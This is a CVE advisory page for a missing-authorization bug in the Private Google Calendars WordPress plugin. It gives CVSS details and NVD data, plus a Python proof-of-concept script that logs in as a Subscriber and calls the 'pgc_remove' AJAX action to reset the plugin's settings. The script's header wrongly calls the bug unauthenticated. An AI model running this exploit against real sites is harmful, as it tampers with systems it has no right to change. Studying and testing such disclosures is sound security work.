Security Vulnerability Report
中文
CVE-2025-12526 CVSS 4.3 MEDIUM

CVE-2025-12526

Published: 2025-11-11 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Private Google Calendars plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pgc_remove' action in all versions up to, and including, 20250811. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Private Google Calendars插件 <= 20250811

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12526 PoC - Private Google Calendars Unauthenticated Settings Reset # This PoC demonstrates the missing authorization check vulnerability import requests import sys # Configuration target_url = "http://target-wordpress-site.com" username = "attacker_subscriber" # Low-privilege WordPress account password = "password123" def exploit_cve_2025_12526(): """ Exploits CVE-2025-12526: Missing authorization check in pgc_remove action Allows authenticated users with Subscriber role to reset plugin settings """ session = requests.Session() # Step 1: Login to WordPress as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } print("[*] Attempting to login as low-privilege user...") response = session.post(login_url, data=login_data, cookies=session.cookies) if "wordpress_logged_in" not in str(session.cookies) and "invalid" in response.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the vulnerability via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct exploit payload - missing capability check allows any authenticated user exploit_data = { "action": "pgc_remove", # The vulnerable action "nonce": "", # No nonce required due to missing check "id": "0" # Target ID to remove/reset } print("[*] Sending exploit request to AJAX endpoint...") response = session.post(ajax_url, data=exploit_data) # Step 3: Verify if settings were reset if response.status_code == 200: if "1" in response.text or "success" in response.text.lower(): print("[+] VULNERABLE! Plugin settings have been reset successfully!") print("[*] The pgc_remove action executed without proper authorization check") return True else: print("[-] Request sent but target may not be vulnerable") return False else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12526 PoC - WordPress Private Google Calendars") print("Missing Authorization in pgc_remove Action") print("=" * 60) exploit_cve_2025_12526()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12526", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:46.710", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Private Google Calendars plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'pgc_remove' action in all versions up to, and including, 20250811. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3402625%40private-google-calendars&new=3402625%40private-google-calendars&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/private-google-calendars/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/900294ef-dedb-49d3-b544-eae64399ea03?source=cve", "source": "[email protected]"}]}}